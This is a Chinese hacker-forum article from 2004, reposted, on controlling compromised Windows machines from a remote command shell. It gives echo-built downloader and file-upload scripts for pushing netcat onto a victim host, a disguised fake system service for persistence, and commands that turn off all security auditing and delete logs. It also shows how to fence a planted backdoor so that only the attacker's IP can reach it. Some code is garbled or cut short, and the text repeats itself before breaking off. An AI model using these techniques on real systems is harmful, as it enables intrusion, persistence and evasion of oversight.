Do All in Cmd Shell
Do All in Cmd Shell
创建时间:2004-05-19
文章属性:转载
文章提交:sFqRy (mqphk163_at_163.com)
目录
1,前言
2,文件传输
3,系统配置
4,网络配置
5,软件安装
6,Windows脚本
7,附言
前言
Cmd Shell(命令行交互)是黑客永恒的话题,它历史悠久并且长盛不衰。本文旨在介绍和总结一些在命令行下控制Windows系统的方法。这些方法都是尽可能地利用系统自带的工具实现的。
文件传输
对于溢出漏洞获得的cmd shell,最大的问题就是如何上传文件。由于蠕虫病毒流行,连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对ipc$的保护,通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法,介于其已被大家熟知,本文就不介绍了。还有三种大家熟悉的办法,作为总结我再提一下:
1,用Echo命令写ASP木马。
前提当然是目标主机上已经安装了IIS。
一般的ASP木马“体积”较大,不适合直接用echo命令写入文件,这里我提供一个小巧的。
直接给出echo版:
@echo ^ >up.asp
注意,只有一行,中间没有回车符。
生成的up.asp不能用浏览器访问,只能用下面这个脚本:
with wscript
if .arguments.count>dl.vbs
@echo w.open "get",.arguments(0),0:w.send:if w.status^>200 then .echo "Error:"+w.status:.quit>>dl.vbs
@echo aso.type=1:aso.open:aso.write w.responsebody:aso.savetofile .arguments(1),2:end with >>dl.vbs
举例——下载ps.exe并保存到c:\path下:
cscript dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe
注意,这是在远程shell中执行的。
4,Echo经过编码的任何文件,再用脚本+debug还原。
前面两个办法都不能保证穿过防火墙。而且,除非自己架Web服务器,一般的Web资源都是以压缩文件的形式提供。如果目标主机没有解压工具,还是没辙。那么只有出“杀手锏”了!
echo命令加重定向x作符可以写入ASCII码小于128的字符,但大于等于128的不行。只有将本地文件重新“编码”为可显示的字符,才能方便地写入远程主机。首先能想到的就是base64编码,即email附件的编码方式。但vbs不支持位x作,因此编码和解码较复杂。更麻烦的是,脚本以二进制流方式处理文件的能力很差。(ADODB.Stream可以以流方式写文件,但我无法构造出相应的数据类型。二进制数据流可以用midb函数转成字符串,但反过来不行。我花了两天时间,还是没能解决这个问题。如果有谁能用vbs或js写任意的字节数据到文件中,恳请赐教。)
无奈只有请debug.exe出马了。原理很多人都知道,我不介绍了,直接给出成果——编码脚本:
fp=wscript.arguments(0)
fn=right(fp,len(fp)-instrrev(fp,"\"))
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl\65536
with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)
.write "@echo str="""
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt>debug.vbs"+vbcrlf+"@echo +"""
next
.writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_
+":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_
+":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs"
.writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_
+"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_
+">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs"
end with
将其保存为echo.vbs。假设要上传nc.exe,那么在本地命令行输入命令:
cscript echo.vbs nc.exe
也可以直接把要传输的文件的图标拖放到脚本文件的图标上。
稍等一会儿,在当前目录下将生成一个nc.exe.bat。用记事本等编辑工具打开它,可以看到如下内容:
@echo str="4D5A90000300000004000000FFFF0000B80000000000
0000400000000000000000000000000000000000000000000
000000000000000000000000000800000000E1FBA0E00B409
CD21B8014CCD21546869732070726F6772616D2063616E6E6
F742062652072756E20696E20444F53206D6F64652E0D0D0A
2400000000000000"_>>debug.vbs
@echo +"504500004C010400B98EAE340000000000000000E0000F0
10B010500009800000062000000000000004C000000100000
00B0000000004000001000000002000004000000000000000
4000000000000000030010000040000000000000300000000
0010000010000000001000001000000000000010000000000
0000000000000"_>>debug.vbs
@echo +"002001003C0000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000
0000000000000000000000000000000A02101006401000000
00000000000000000000000000000000000000000000002E7
4657874000000"_>>debug.vbs
@echo +"70970000001000000098000000040000000000000000000
000000000200000602E726461746100001704000000B00000
00060000009C0000000000000000000000000000400000402
E646174610000004452000000C00000003E000000A2000000
0000000000000000000000400000C02E696461746100005C0
7000000200100"_>>debug.vbs
…………
…………(省略若干行)
…………
@echo +"">>debug.vbs
@echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs
@echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:end with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp "NC.EXE"&del debug.vbs
全选 -》 复制 -》 切换到远程命令行窗口 -》 粘贴。
如果网速不是很慢的话,整个上传过程大约需要20秒。
几点说明:
1,大的文件传输不稳定,可能会使shell死掉。所以文件越小效果越好。建议原文件不要超过100KB。
2,在传输大文件前,可以先传个小的文件作为“热身”,让16位虚拟机ntvdm.exe驻留后台。所有文件传完后,为隐蔽起见,应该把ntvdm进程杀掉。
3,某些cmd shell每个命令都需要附加两个回车,那nc.exe.bat就不能直接用了。
4,单个命令的长度是有限的,所以不能只用一个echo完成全部任务。而且,对于nc提供的cmd shell,稍长一些的命令竟然会使shell自动退出(溢出了?)。你可以修改"i mod 128=0"语句中的128以调整每个echo命令的长度。每次echo的字符为这个数乘以2。
5,解码过程没有脚本参与也是可以的。使用脚本的目的是减少传输的数据量(因为压缩了数据)。如果有时间,我会写一个更完善的脚本,加强数据压缩能力,增加数据校验功能。
能上传文件当然一切都好办了,但很多x作用Windows自带的工具更方便。在你到处寻找需要的工具时,不要忘了Windows本身。
系统配置
这节包括三方面内容:注册表、服务和组策略。
先说注册表。很多命令行下访问注册表的工具都是交互式的,溢出产生的shell一般不能再次重定向输入/输出流,所以无法使用。好在系统自带的regedit.exe足够用了。
1,读取注册表
先将想查询的注册表项导出,再用type查看,比如:
C:\>regedit /e 1.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
C:\>type 1.reg | find "PortNumber"
"PortNumber"=dword:00000d3d
C:\>del 1.reg
所以终端服务的端口是3389(十六进制d3d)
2,修改/删除注册表项
先echo一个reg文件,然后导入,比如:
echo Windows Registry Editor Version 5.00 >1.reg
echo. >>1.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0] >>1.reg
echo "TelnetPort"=dword:00000913 >>1.reg
echo "NTLM"=dword:00000001 >>1.reg
echo. >>1.reg
regedit /s 1.reg
将telnet服务端口改为2323(十六进制913),NTLM认证方式为1。
要删除一个项,在名字前面加减号,比如:
[-HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U]
要删除一个值,在等号后面用减号,比如:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"KAVRun"=-
3,用inf文件访问注册表
上面对注册表的三个x作,也可以用下面这个inf文件来实现:
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall]
AddReg=My_AddReg_Name
DelReg=My_DelReg_Name
[My_AddReg_Name]
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0x00010001,2323
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0x00010001,1
[My_DelReg_Name]
HKLM,SYSTEM\CurrentControlSet\Services\Serv-U
HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun
将它写入c:\path\reg.inf然后用下面这个命令“安装”:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\reg.inf
几点说明:
1,[Version]和[DefaultInstall]是必须的,AddReg和DelReg至少要有一个。My_AddReg_Name和My_DelReg_Name可以自定义。
0x00010001表示REG_DWORD数据类型,0x00000000或省略该项(保留逗号)表示REG_SZ(字符串)。0x00020000表示REG_EXPAND_SZ。2323也可以用0x913代替。
关于inf文件的详细信息,可以参考DDK帮助文档。
2,InstallHinfSection是大小写敏感的。它和setupapi之间只有一个逗号,没有空格。128表示给定路径,该参数其他取值及含义参见MSDN。特别注意,最后一个参数,必须是inf文件的全路径,不要用相对路径。
3,inf文件中的项目都是大小写不敏感的。
接下来说服务。如果想启动或停止服务,用net命令就可以。但想增加或删除服务,需要用SC,instsrv.exe,xnet.exe等工具。而这些工具系统没有自带(XP和2003自带SC)。导入注册表虽然可以,但效果不好,这里我们请inf文件出马。
增加一个服务:
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service
Description=提供对 Internet 信息服务管理的支持。
ServiceType=0x10
StartType=2
ErrorControl=0
ServiceBinary=%11%\inetsvr.exe
保存为inetsvr.inf,然后:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\inetsvr.inf
这个例子增加一个名为inetsvr的服务(是不是很像系统自带的服务,呵呵)。
几点说明:
1,最后四项分别是
服务类型:0x10为独立进程服务,0x20为共享进程服务(比如svchost);
启动类型:0 系统引导时加载,1 OS初始化时加载,2 由SCM(服务控制管理器)自动启动,3 手动启动,4 禁用。
(注意,0和1只能用于驱动程序)
错误控制:0 忽略,1 继续并警告,2 切换到LastKnownGood的设置,3 蓝屏。
服务程序位置:%11%表示system32目录,%10%表示系统目录(WINNT或Windows),%12%为驱动目录system32\drivers。其他取值参见DDK。你也可以不用变量,直接使用全路径。
这四项是必须要有的。
2,除例子中的六个项目,还有LoadOrderGroup、Dependencies等。不常用所以不介绍了。
3,inetsvr后面有两个逗号,因为中间省略了一个不常用的参数flags。
删除一个服务:
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
DelService=inetsvr
很简单,不是吗?
当然,你也可以通过导入注册表达到目的。但inf自有其优势。
1,导出一个系统自带服务的注册表项,你会发现其执行路径是这样的:
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,\
00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00
可读性太差。其实它就是%SystemRoot%\system32\tlntsvr.exe,但数据类型是REG_EXPAND_SZ。当手动导入注册表以增加服务时,这样定义ImagePath显然很不方便。而使用inf文件就完全没有这个问题,ServiceBinary(即ImagePath)自动成为REG_EXPAND_SZ。
2,最关键的是,和用SC等工具一样,inf文件的效果是即时起效的,而导入reg后必须重启才有效。
3,inf文件会自动为服务的注册表项添加一个Security子键,使它看起来更像系统自带的服务。
另外,AddService和DelService以及AddReg、DelReg可以同时且重复使用。即可以同时增加和删除多个服务和注册表项。详细的内容还是请查看DDK。
最后说说组策略。组策略是建立Windows安全环境的重要手段,尤其是在Windows域环境下。一个出色的系统管理员,应该能熟练地掌握并应用组策略。在窗口界面下访问组策略用gpedit.msc,命令行下用secedit.exe。
先看secedit命令语法:
secedit /analyze
secedit /configure
secedit /export
secedit /validate
secedit /refreshpolicy
5个命令的功能分别是分析组策略、配置组策略、导出组策略、验证模板语法和更新组策略。其中
secedit /refreshpolicy 在XP/2003下被gpupdate代替。这些命令具体的语法自己在命令行下查看就知道了。
与访问注册表只需reg文件不同的是,访问组策略除了要有个模板文件(还是inf),还需要一个安全数据库文件(sdb)。要修改组策略,必须先将模板导入安全数据库,再通过应用安全数据库来刷新组策略。来看个例子:
假设我要将密码长度最小值设置为6,并启用“密码必须符合复杂性要求”,那么先写这么一个模板:
[version]
signature="$CHICAGO$"
[System Access]
MinimumPasswordLength = 6
PasswordComplexity = 1
保存为gp.inf,然后导入:
secedit /configure /db gp.sdb /cfg gp.inf /quiet
这个命令执行完成后,将在当前目录产生一个gp.sdb,它是“中间产品”,你可以删除它。
/quiet参数表示“安静模式”,不产生日志。但根据我的试验,在2000sp4下该参数似乎不起作用,XP下正常。日志总是保存在%windir%\security\logs\scesrv.log。你也可以自己指定日志以便随后删除它。比如:
secedit /configure /db gp.sdb /cfg gp.inf /log gp.log
del gp.*
另外,在导入模板前,还可以先分析语法是否正确:
secedit /validate gp.inf
那么,如何知道具体的语法呢?当然到MSDN里找啦。也有偷懒的办法,因为系统自带了一些安全模板,在%windir%\security\templates目录下。打开这些模板,基本上包含了常用的安全设置语法,一看就懂。
再举个例子——关闭所有的“审核策略”。(它所审核的事件将记录在事件查看器的“安全性”里)。
echo版:
echo [version] >1.inf
echo signature="$CHICAGO$" >>1.inf
echo [Event Audit] >>1.inf
echo AuditSystemEvents=0 >>1.inf
echo AuditObjectAccess=0 >>1.inf
echo AuditPrivilegeUse=0 >>1.inf
echo AuditPolicyChange=0 >>1.inf
echo AuditAccountManage=0 >>1.inf
echo AuditProcessTracking=0 >>1.inf
echo AuditDSAccess=0 >>1.inf
echo AuditAccountLogon=0 >>1.inf
echo AuditLogonEvents=0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log /quiet
del 1.*
也许有人会说:组策略不是保存在注册表中吗,为什么不直接修改注册表?因为不是所有的组策略都保存在注册表中。比如“审核策略”就不是。你可以用regsnap比较修改该策略前后注册表的变化。我测试的结果是什么都没有改变。只有“管理模板”这一部分是完全基于注册表的。而且,知道了具体位置,用哪个方法都不复杂。
比如,XP和2003的“本地策略”-》“安全选项”增加了一个“本地帐户的共享和安全模式”策略。XP下默认的设置是“仅来宾”。这就是为什么用管理员帐号连接XP的ipc$仍然只有Guest权限的原因。可以通过导入reg文件修改它为“经典”:
echo Windows Registry Editor Version 5.00 >1.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>1.reg
echo "forceguest"=dword:00000000 >>1.reg
regedit /s 1.reg
del 1.reg
而相应的用inf,应该是:
echo [version] >1.inf
echo signature="$CHICAGO$" >>1.inf
echo [Registry Values] >>1.inf
echo MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest=4,0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log
del 1.*
关于命令行下读取组策略的问题。
系统默认的安全数据库位于%windir%\security\database\secedit.sdb,将它导出至inf文件:
secedit /export /cfg gp.inf /log 1.log
没有用/db参数指定数据库就是采用默认的。然后查看gp.inf。
不过,这样得到的只是组策略的一部分(即“Windows设置”)。而且,某个策略如果未配置,是不会被导出的。比如“重命名系统管理员帐户”,只有被定义了才会在inf文件中出现NewAdministratorName="***"。对于无法导出的其他的组策略只有通过访问注册表来获得了。
此办法在XP和2003下无效——可以导出但内容基本是空的。原因不明。根据官方的资料,XP和2003显示组策略用RSoP(组策略结果集)。相应的命令行工具是gpresult。
但是,它获得的是在系统启动时被附加(来自域)的组策略,单机测试结果还是“空”。所以,如果想知道某些组策略是否被设置,只有先写一个inf,再用secedit /analyze,然后查看日志了。
网络配置
Windows自带的关于网络的命令行工具很多,比如大家熟悉的ping, tracert, ipconfig, telnet, ftp, tftp, netstat,还有不太熟悉的nbtstat, pathping, nslookup, finger, route, netsh……
这些命令又可分成三类:网络检测(如ping)、网络连接(如telnet)和网络配置(如netsh)。前面两种相对简单,本文只介绍两个网络配置工具。
netsh
在远程shell中使用netsh首先要解决一个交互方式的问题。前面说过,很多shell不能再次重定向输出输出,所以不能在这种环境下交互地使用ftp等命令行工具。解决的办法是,一般交互式的工具都允许使用脚本(或者叫应答文件)。比如ftp -s:filename。netsh也是这样:netsh -f filename。
netsh命令的功能非常多,可以配置IAS、DHCP、RAS、WINS、NAT服务器,TCP/IP协议,IPX协议,路由等。我们不是管理员,一般没必要了解这么多,只需用netsh来了解目标主机的网络配置信息。
1,TCP/IP配置
echo interface ip >s
echo show config >>s
netsh -f s
del s
由此你可以了解该主机有多个网卡和IP,是否是动态分配IP(DHCP),内网IP是多少(如果有的话)。这个命令和ipconfig /all差不多。
注意,以下命令需要目标主机启动remoteaccess服务。如果它被禁用,请先通过导入注册表解禁,然后net start remoteaccess
2,ARP
echo interface ip >s
echo show ipnet >>s
netsh -f s
del s
这个比arp -a命令多一点信息。
3,TCP/UDP连接
echo interface ip >s
echo show tcpconn >>s
echo show udpconn >>s
netsh -f s
del s
这组命令和netstat -an一样。
4,网卡信息
如果netsh命令都有其他命令可代替,那它还有什么存在的必要呢?下面这个就找不到代替的了。
echo interface ip >s
echo show interface >>s
netsh -f s
del s
netsh的其他功能,比如修改IP,一般没有必要使用(万一改了IP后连不上,就“叫天不应叫地不灵”了),所以全部略过。
IPSec
首先需要指出的是,IPSec和TCP/IP筛选是不同的东西,大家不要混淆了。TCP/IP筛选的功能十分有限,远不如IPSec灵活和强大。下面就说说如何在命令行下控制IPSec。
XP系统用ipseccmd,2000下用ipsecpol。遗憾的是,它们都不是系统自带的。ipseccmd在xp系统安装盘的 SUPPORT\TOOLS\SUPPORT.CAB 中,ipsecpol在2000 Resource Kit里。而且,要使用ipsecpol还必须带上另外两个文件:ipsecutil.dll和text2pol.dll。三个文件一共119KB。
IPSec可以通过组策略来控制,但我找遍MSDN,也没有找到相应的安全模板的语法。已经配置好的IPSec策略也不能被导出为模板。所以,组策略这条路走不通。IPSec的设置保存在注册表中
(HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local),理论上可以通过修改注册表来配置IPSec。但很多信息以二进制形式存放,读取和修改都很困难。相比之下,上传命令行工具更方便。
关于ipsecpol和ipseccmd的资料,网上可以找到很多,因此本文就不细说了,只是列举一些实用的例子。
在设置IPSec策略方面,ipseccmd命令的语法和ipsecpol几乎完全一样,所以只以ipsecpol为例:
1,防御rpc-dcom攻击
ipsecpol -p myfirewall -r rpc-dcom -f *+0:135:tcp *+0:135:udp *+0:137:udp *+0:138:udp *+0:139:tcp *+0:445:tcp *+0:445:udp -n BLOCK -w reg -x
这条命令关闭了本地主机的TCP135,139,445和udp135,137,138,445端口。
具体含义如下:
-p myfirewall 指定策略名为myfirewall
-r rpc-dcom 指定规则名为rpc-dcom
-f …… 建立7个筛选器。*表示任何地址(源);0表示本机地址(目标);+表示镜像(双向)筛选。详细语法见ipsecpol -?
-n BLOCK 指定筛选x作是“阻塞”。注意,BLOCK必须是大写。
-w reg 将配置写入注册表,重启后仍有效。
-x 立刻激活该策略。
2,防止被ping
ipsecpol -p myfirewall -r antiping -f *+0::icmp -n BLOCK -w reg -x
如果名为myfirewall的策略已存在,则antiping规则将添加至其中。
注意,该规则同时也阻止了该主机ping别人。
3,对后门进行IP限制
假设你在某主机上安装了DameWare Mini Remote Control。
为了保护它不被别人暴破密码或溢出,应该限制对其服务端口6129的访问。
ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.89+0:6129:tcp -n PASS -w reg -x
这样就只有123.45.67.89可以访问该主机的6129端口了。
如果你是动态IP,应该根据IP分配的范围设置规则。比如:
ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.*+0:6129:tcp -n PASS -w reg -x
这样就允许123.45.67.1至123.45.67.254的IP访问6129端口。
在写规则的时候,应该特别小心,不要把自己也阻塞了。如果你不确定某个规则的效果是否和预想的一样,可以先用计划任务“留下后路”。例如:
c:\>net start schedule
Task Scheduler 服务正在启动 ..
Task Scheduler 服务已经启动成功。
c:\>time /t
12:34
c:\>at 12:39 ipsecpol -p myfw -y -w reg
新加了一项作业,其作业 ID = 1
然后,你有5分钟时间设置一个myfw策略并测试它。5分钟后计划任务将停止该策略。如果测试结果不理想,就删除该策略。
c:\>ipsecpol -p myfw -o -w reg
注意,删除策略前必须先确保它已停止。不停止它的话,即使删除也会在一段时间内继续生效。持续时间取决于策略的刷新时间,默认是180分钟。
如果测试通过,那么就启用它。
c:\>ipsecpol -p myfw -x -w reg
最后说一下查看IPSec策略的办法。
对于XP很简单,一条命令搞定——ipseccmd show filters
而ipsecpol没有查询的功能。需要再用一个命令行工具netdiag。它位于2000系统安装盘的SUPPORT\TOOLS\SUPPORT.CAB中。(已经上传了三个文件,也就不在乎多一个了。)
netdiag需要RemoteRegistry服务的支持。所以先启动该服务:
net start remoteregistry
不启动RemoteRegistry就会得到一个错误:
[FATAL] Failed to get system information of this machine.
netdiag这个工具功能十分强大,与网络有关的信息都可以获取!不过,输出的信息有时过于详细,超过命令行控制台cmd.exe的输出缓存,而不是每个远程cmd shell都可以用more命令来分页的。
查看ipsec策略的命令是:
netdiag /debug /test:ipsec
然后是一长串输出信息。IPSec策略位于最后。
软件安装
一个软件/工具的安装过程,一般来说只是做两件事:拷贝文件到特定目录和修改注册表。只要搞清楚具体的内容,那么就可以自己在命令行下实现了。(不考虑安装后需要注册激活等情况)
WinPcap是个很常用的工具,但必须在窗口界面下安装。在网上也可以找到不用GUI的版本(但还是有版权页),其实我们完全可以自己做一个。
以WinPcap 3.0a 为例。通过比较安装前后的文件系统和注册表快照,很容易了解整个安装过程。
除去反安装的部分,关键的文件有三个:wpcap.dll,packet.dll和npf.sys。前面两个文件位于system32目录下,第三个在system32\drivers下。而注册表的变化是增加了一个系统服务NPF。注意,是系统服务(即驱动)不是Win32服务。
作为系统服务,不但要在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services下增加主键,在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root下也增加主键。而后者默认只有SYSTEM身份才可以修改。幸运的是,并不需要手动添加它,winpcap被调用时会自动搞定。甚至完全不用手动修改注册表,所有的事winpcap都会自己完成,只需要将三个文件复制到合适的位置就行了。
作为范例,还是演示一下如何修改注册表:利用前面说过的inf文件来实现。
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=NPF,,winpcap_svr
[winpcap_svr]
DisplayName=Netgroup Packet Filter
ServiceType=0x1
StartType=3
ErrorControl=1
ServiceBinary=%12%\npf.sys
将上面这些内容保存为_wpcap_.inf文件。
再写一个批处理_wpcap_.bat:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %CD%\_wpcap_.inf
del _wpcap_.inf
if /i %CD%==%SYSTEMROOT%\system32 goto COPYDRV
copy packet.dll %SYSTEMROOT%\system32\
copy wpcap.dll %SYSTEMROOT%\system32\
del packet.dll
del wpcap.dll
:COPYDRV
if /i %CD%==%SYSTEMROOT%\system32\drivers goto END
copy npf.sys %SYSTEMROOT%\system32\drivers\
del npf.sys
:END
del %0
然后用winrar将所有文件(5个)打包为自解压的exe,并将『高级自解压选项』->『解压后运行』设置为_wpcap_.bat,命令行的winpcap安装包就制作完成了。
注意,批处理最后一行没有回车符。否则会因为正在运行而无法删除自己。
所有的软件安装,基本上可以套用这个思路。但也有例外的,那就是系统补丁的安装。幸好,Windows补丁包支持命令行安装。
比如:
KB824146.exe -n -z -q
-n 不保留备份
-z 不重起
-q 安静模式
如果有一堆补丁要打,那么用RAR打包成自解压文件,外加一个批处理。
for %%f in (KB??????.exe) do %%f -n -z -q
for %%f in (KB??????.exe) do del %%f
del %0
Windows脚本
很多事用脚本来做是很简洁的。下面给出几个常用脚本的echo版。
1,显示系统版本
@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>ps.vbs
@echo wscript.echo ps.caption^&" "^&ps.version:next >>ps.vbs
cscript //nologo ps.vbs & del ps.vbs
2,列举进程
@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs
@echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs
cscript //nologo ps.vbs & del ps.vbs
3,终止进程
@echo for each ps in getobject _ >pk.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pk.vbs
@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pk.vbs
要终止PID为123的进程,使用如下语法:
cscript pk.vbs 123
如果显示一个0,表示终止成功。
然后:
del pk.vbs
4,重启系统
@echo for each os in getobject _ >rb.vbs
@echo ("winmgmts:{(shutdown)}!\\.\root\cimv2:win32_operatingsystem").instances_ >>rb.vbs
@echo os.win32shutdown(2):next >>rb.vbs & cscript //nologo rb.vbs & del rb.vbs
5,列举自启动的服务
@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs
@echo if sc.startmode="Auto" then wscript.echo sc.name^&" - "^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs
6,列举正在运行的服务
@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs
@echo if sc.state="Running" then wscript.echo sc.name^&" - "^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs
7,显示系统最后一次启动的时间
@echo for each os in getobject _ >bt.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>bt.vbs
@echo wscript.echo os.lastbootuptime:next >>bt.vbs & cscript //nologo bt.vbs & del bt.vbs
显示结果的格式是:
yyyymmddHHMMSS******ZZZZ
_年_月日时分秒_微秒_时区
8,显示系统运行时间
@echo for each os in getobject _ >rt.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_perfrawdata_perfos_system").instances_ >>rt.vbs
@echo s=os.timestamp_sys100ns:l=len(s):s=left(s,l-7):for i=1 to l-7 >>rt.vbs
@echo t=t^&mid(s,i,1)=t\86400:r=r^&d:t=t mod 86400:next >>rt.vbs
@echo wscript.echo cint®^&"d "^&t\3600^&"h "^&t\60 mod 60^&"m "^&t mod 60^&"s":next >>rt.vbs
cscript //nologo rt.vbs & del rt.vbs
这个运行时间是从性能计数器中获得的64位整型数,不会出现在49.7天后溢出的情况。
附言
cmd shell博大精深,本文挂一漏万讲了一些常用技巧,希望对各位有所帮助。
也许你早知道了这些方法,也许你有更好的方法,希望你能写出来和大家分享。
最后,感谢你耐心看完本文。本人水平有限,错误之处恳请指正。
创建时间:2004-05-19
文章属性:转载
文章提交:sFqRy (mqphk163_at_163.com)
目录
1,前言
2,文件传输
3,系统配置
4,网络配置
5,软件安装
6,Windows脚本
7,附言
前言
Cmd Shell(命令行交互)是黑客永恒的话题,它历史悠久并且长盛不衰。本文旨在介绍和总结一些在命令行下控制Windows系统的方法。这些方法都是尽可能地利用系统自带的工具实现的。
文件传输
对于溢出漏洞获得的cmd shell,最大的问题就是如何上传文件。由于蠕虫病毒流行,连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对ipc$的保护,通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法,介于其已被大家熟知,本文就不介绍了。还有三种大家熟悉的办法,作为总结我再提一下:
1,用Echo命令写ASP木马。
前提当然是目标主机上已经安装了IIS。
一般的ASP木马“体积”较大,不适合直接用echo命令写入文件,这里我提供一个小巧的。
直接给出echo版:
@echo ^ >up.asp
注意,只有一行,中间没有回车符。
生成的up.asp不能用浏览器访问,只能用下面这个脚本:
with wscript
if .arguments.count>dl.vbs
@echo w.open "get",.arguments(0),0:w.send:if w.status^>200 then .echo "Error:"+w.status:.quit>>dl.vbs
@echo aso.type=1:aso.open:aso.write w.responsebody:aso.savetofile .arguments(1),2:end with >>dl.vbs
举例——下载ps.exe并保存到c:\path下:
cscript dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe
注意,这是在远程shell中执行的。
4,Echo经过编码的任何文件,再用脚本+debug还原。
前面两个办法都不能保证穿过防火墙。而且,除非自己架Web服务器,一般的Web资源都是以压缩文件的形式提供。如果目标主机没有解压工具,还是没辙。那么只有出“杀手锏”了!
echo命令加重定向x作符可以写入ASCII码小于128的字符,但大于等于128的不行。只有将本地文件重新“编码”为可显示的字符,才能方便地写入远程主机。首先能想到的就是base64编码,即email附件的编码方式。但vbs不支持位x作,因此编码和解码较复杂。更麻烦的是,脚本以二进制流方式处理文件的能力很差。(ADODB.Stream可以以流方式写文件,但我无法构造出相应的数据类型。二进制数据流可以用midb函数转成字符串,但反过来不行。我花了两天时间,还是没能解决这个问题。如果有谁能用vbs或js写任意的字节数据到文件中,恳请赐教。)
无奈只有请debug.exe出马了。原理很多人都知道,我不介绍了,直接给出成果——编码脚本:
fp=wscript.arguments(0)
fn=right(fp,len(fp)-instrrev(fp,"\"))
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl\65536
with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)
.write "@echo str="""
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt>debug.vbs"+vbcrlf+"@echo +"""
next
.writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_
+":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_
+":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs"
.writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_
+"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_
+">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs"
end with
将其保存为echo.vbs。假设要上传nc.exe,那么在本地命令行输入命令:
cscript echo.vbs nc.exe
也可以直接把要传输的文件的图标拖放到脚本文件的图标上。
